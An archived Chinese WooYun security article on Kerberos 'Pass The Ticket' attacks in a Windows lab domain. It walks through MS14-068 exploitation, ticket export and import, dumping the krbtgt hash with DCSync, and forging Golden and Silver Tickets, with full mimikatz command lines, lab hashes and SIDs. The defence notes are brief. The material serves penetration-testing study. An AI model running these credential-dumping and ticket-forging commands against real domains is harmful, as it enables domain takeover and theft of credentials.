# 域渗透——Pass The Ticket

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2016-01-22T02:47:00Z
Canonical: https://wepostx.com/topics/45

> 乌云历史资料归档
>
> **原始作者：** 三好学生
> **原始编号：** superkieran-wooyundrops:1012
> **原始发布时间：** 2016-01-22 10:47
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

# 0x00 前言

上篇介绍了有关Pass The Hash 和Pass The Key的技巧，这次接着介绍一下Pass The Ticket

![原文图片](/media/2016/06/6941a4aa08b2e234781ef8eb34521f08)

此图片引用自http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/

# 0x01 简介

在域环境中，Kerberos协议被用来作身份认证，上图所示即为一次简单的身份认证流程，具体细节可以参考相关资料，这里仅介绍几个名词：

- KDC(Key Distribution Center)： 密钥分发中心，里面包含两个服务：AS和TGS

- AS(Authentication Server)： 身份认证服务

- TGS(Ticket Granting Server)： 票据授予服务

- TGT(Ticket Granting Ticket): 由身份认证服务授予的票据，用于身份认证，存储在内存，默认有效期为10小时

- Pass The Ticket： 如果我们能够拿到用户的TGT，并将其导入到内存，就可以冒充该用户获得其访问权限
在了解了相关名词之后，我们从实际利用的角度来介绍与Pass The Ticket有关的技术
测试环境：

```text
#!bash 域控： os:server 2008 r2 x64 ip：192.168.40.132 域内主机： os:win7 x64 ip：192.168.40.225
```

# 0x02 MS14-068

时至今日，该漏洞已经过去一年多，针对其攻击的防御检测方法已经很成熟，所以对其利用方法做一个回顾。

### 1、PyKEK
最先公开的利用方法是Sylvain Monné用Python实现的PyKEK
准备条件：

- 域用户及其口令

- 域用户对应sid

- 域控地址

- Win7及以上系统
Tips：

- 操作系统要求Win7及以上，这是因为XP不支持导入Ticket

- 攻击主机可使用其他域用户信息，比如可以在主机A上用域用户B的口令及sid攻击

- 将Python脚本转成exe即可在任意一台Windows主机使用

漏洞利用的步骤为：

- 如果漏洞触发成功，会生成.ccache文件

- 通过klist purge先清除内存中的Ticket

- 使用mimikatz的ptc功能将.ccache导入到内存

- 通过klist查看导入的Ticket

- 使用net use 连接域控
Tips：

- 如果不先清除内存中的Ticket直接导入，有可能会失败

- 连接域控要使用域控地址，不要用IP

### 2、kekeo
Benjamin DELPY用c实现了MS14-068的利用工具，更简单高效。
因为域用户对应sid本就可以通过程序自动获取，清除导入票据也能自动实现，当然，如果想用其他域用户信息攻击，也可以加上sid手动导入票据
kekeo的快捷用法仅需要以下参数：

- 域用户及其口令

- 域控地址
实际测试如图，成功获得了域控的访问权限

![原文图片](/media/2016/06/785c2d8bb87379adb1450a68f7556a3e)

![原文图片](/media/2016/06/894a2c18b9eca566e23c6236da01b887)

下载地址：
[https://github.com/gentilkiwi/kekeo/releases](https://github.com/gentilkiwi/kekeo/releases)

# 0x03 Export the ticket

在我们成功获得域控权限后，就可以导出域控内存中的Ticket，在默认的10个小时以内都可以利用来登录域控
通过mimikatz导出内存中的Ticket，执行：

```text
#!bash sekurlsa::tickets /export
```
如图
![原文图片](/media/2016/06/dfebd7b05242709d93dfd38855dfa9fc)

保存成文件，一共导出如下文件，如图
![原文图片](/media/2016/06/5b0176c8dfb285b0166df67f35dc0263)

挑选其中的[0;2d87a][email protected]在域普通用户的主机进行导入
执行：

```text
#!bash mimikatz "kerberos::ptt C:\test\[0;2d87a] [email protected] "
```
如图，导入成功
![原文图片](/media/2016/06/49d99c0ec820c0a0167905a0aabf006e)

查看是否有域控权限，如图
![原文图片](/media/2016/06/13a997b010c2f5d505eac62c42ce3d61)

Tips：

- 64位系统使用ptt功能要用32位的mimikatz，如果用64的mimikatz，那么无法导入Ticket

- 这种方式导入的Ticket默认在10小时以内生效

# 0x04 Golden Ticket

每个用户的Ticket都是由krbtgt的密码Hash来生成的，那么，我们如果拿到了krbtgt的密码Hash，不就可以随意伪造Ticket了吗？
实际上只要拿到了域控权限，在上面就可以很容易的获得krbtgt的Hash值，再通过mimikatz即可生成任意用户任何权限的Ticket，也就是Golden Ticket

### 1、导出krbtgt的Hash
在域控上执行

```text
#!bash mimikatz log "lsadump::dcsync /domain:test.local /user:krbtgt"
```
生成mimikatz.log记录输出，使用log输出是为了方便复制Hash值
如图:
![原文图片](/media/2016/06/d5e054b0138c9a15e2891092ad0706c3)

找到如下信息：

```text
#!bash /domain：test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f
```

### 2、生成Golden Ticket
伪造的用户设置为god,执行

```text
#!bash mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god /ticket:gold.kirbi"
```
生成文件gold.kirbi
Tips:
生成Golden Ticket不仅可以使用aes256，也可用krbtgt的NTLM hash
可以用mimikatz "lsadump::lsa /patch"导出

如图
![原文图片](/media/2016/06/3f04b8061779ca4469df7f29546f4759)

导入Golden Ticket，执行如下命令：

```text
#!bash kerberos::ptt c:\test\gold.kirbi
```
如图，成功获得域控权限
![原文图片](/media/2016/06/4db86ba9b75187e7f88a9ab0213db2a6)

Tips：

- 这种方式导入的Ticket默认在20分钟以内生效，当然，如果过期了，再次ptt导入Golden Ticket就好

- 可以伪造任意用户，即使其不存在

- krbtgt的NTLM hash不会轻易改变，即使修改域控管理员密码

# 0x05 Silver Ticket

Silver Ticket是伪造的TGS(Ticket Granting Server)ticket，所以也叫service ticket
将它同Golden Ticket做对比：

### 1、访问权限不同
Golden Ticket是伪造的TGT(Ticket Granting Ticket)，所以可以获取任何Kerberos服务权限
Silver Ticket是伪造的TGS，也就是说其范围有限，只能访问指定的服务权限

### 2、加密方式不同
Golden Ticket是由krbtgt的hash加密
Silver Ticket是由服务账户（通常为计算机账户）hash加密

### 3、认证流程不同
Golden Ticket在使用的过程需要同域控通信
Silver Ticket在使用的过程不需要同域控通信
举例说明Silver Ticket：
正常的认证流程为
![原文图片](/media/2016/06/bb6dd685ce28c4392c0ac2bb90f5f851)

此图片引用自http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/
如果使用了Silver Ticket，认证流程变为
![原文图片](/media/2016/06/48ecb38a79d49ed5cf663c6febbeea30)

此图片引用自http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/
不难看出其中取消了步骤1-4
也就是说只要手里有Silver Ticket，就可以跳过KDC认证，直接去访问指定的服务。
比如现在要访问域控上的“cifs”服务（cifs服务用于Windows主机间的文件共享）
首先需要获得如下信息：

- /domain

- /sid

- /target:目标服务器的域名全称，此处为域控的全称

- /service：目标服务器上面的kerberos服务，此处为cifs

- /rc4：计算机账户的NTLM hash，域控主机的计算机账户

- /user：要伪造的用户名，此处可用silver测试
在域控上执行如下命令来获取域控主机的本地管理员账户hash

```text
#!bash mimikatz log "sekurlsa::logonpasswords"
```
如图
![原文图片](/media/2016/06/8043cee033a3db0c74bf9a80803a2960)

注：
此处要找到计算机账户，也就是Username : WIN-8VVLRPIAJB0$的NTLM hash，如果是其他账户，那么会失败

整理以上获得的信息如下：

- /domain:test.local

- /sid:S-1-5-21-4155807533-921486164-2767329826

- /target:WIN-8VVLRPIAJB0.test.local

- /service:cifs

- /rc4:d5304f9ea69523479560ca4ebb5a2155

- /user:silver
使用mimikatz执行如下命令导入Silver Ticket

```text
#!bash mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:cifs /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:silver /ptt"
```
如图，成功导入，此时可以成功访问域控上的文件共享

![原文图片](/media/2016/06/aff07798b03e2105c557218183829e80)

![原文图片](/media/2016/06/26e1737f5f33ec2f8c1a022f688645f2)

为了加深理解，再举一个例子
访问域控上的“LDAP”服务
整理信息如下，只需要把/service的名称改为LDAP,/user改为krbtgt,/rc4改为krbtgt的NTLM HASH

- /domain:test.local

- /sid:S-1-5-21-4155807533-921486164-2767329826

- /target:WIN-8VVLRPIAJB0.test.local

- /service:LDAP

- /rc4:d5304f9ea69523479560ca4ebb5a2155

- /user:krbtgt
mimikatz导入Silver Ticket的命令为：

```text
#!bash mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:LDAP /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:krbtgt /ptt"
```
此时dir \\WIN-8VVLRPIAJB0.test.local\c$ 发现无法访问，也就是前面提到的
Silver Ticket是伪造的TGS，也就是说其范围有限，只能访问指定的服务权限

如图，虽然成功导入，但是无法访问域控的文件共享
![原文图片](/media/2016/06/80dc4f7de57c3063698419288fee98b2)

但是执行如下命令可以远程访问LDAP服务来获得krbtgt的信息：

```text
#!bash mimikatz "lsadump::dcsync /dc:WIN-8VVLRPIAJB0.test.local /domain:test.local /user:krbtgt"
```
如图，成功远程获得krbtgt账户信息
![原文图片](/media/2016/06/59f6ac135934558752edd2a9937f6648)

注：

```text
lsadump::dcsync 向 DC 发起一个同步对象（可获取帐户的密码信息）的质询。 需要的权限包括管理员组（Administrators），域管理员组（ Domain Admins）或企业管理员组（Enterprise Admins）以及域控制器的计算机帐户 只读域控制器默认不允许读取用户密码数据
```
参数选项：

```text
/user - 要查询的用户id 或 SID /domain（可选的）默认设置为当前域。 /dc（可选的）指定DCSync 连接的域控位置
```
当然，还有其他服务可通过伪造Silver Ticket访问：
如图列举了其他可用作Silver Ticket的服务：
![原文图片](/media/2016/06/b43bca820afb7591a07428589cdb8996)

此图片引用自https://adsecurity.org/?p=2011

# 0x06 防御

- 域控及时更新补丁

- 时刻监控域控日志

- 限制mimikatz使用

# 0x07 小结

本文介绍了和Pass The Ticket有关的技术，着重对实际使用的一些情况做了演示，无论攻防，只有实践，才会进步。
Real knowledge comes from practices.

# 0x08 参考资料：

- [http://www.roguelynn.com/words/explain-like-im-5-kerberos/](http://www.roguelynn.com/words/explain-like-im-5-kerberos/)

- [https://www.youtube.com/watch?v=ztY1mqsBedE](https://www.youtube.com/watch?v=ztY1mqsBedE)

- [https://adsecurity.org/?p=1515](https://adsecurity.org/?p=1515)

- [https://adsecurity.org/?p=1640](https://adsecurity.org/?p=1640)

- [https://adsecurity.org/?p=2011](https://adsecurity.org/?p=2011)

- [http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/](http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/)
本文由三好学生原创并首发于乌云drops，转载请注明

## Replies
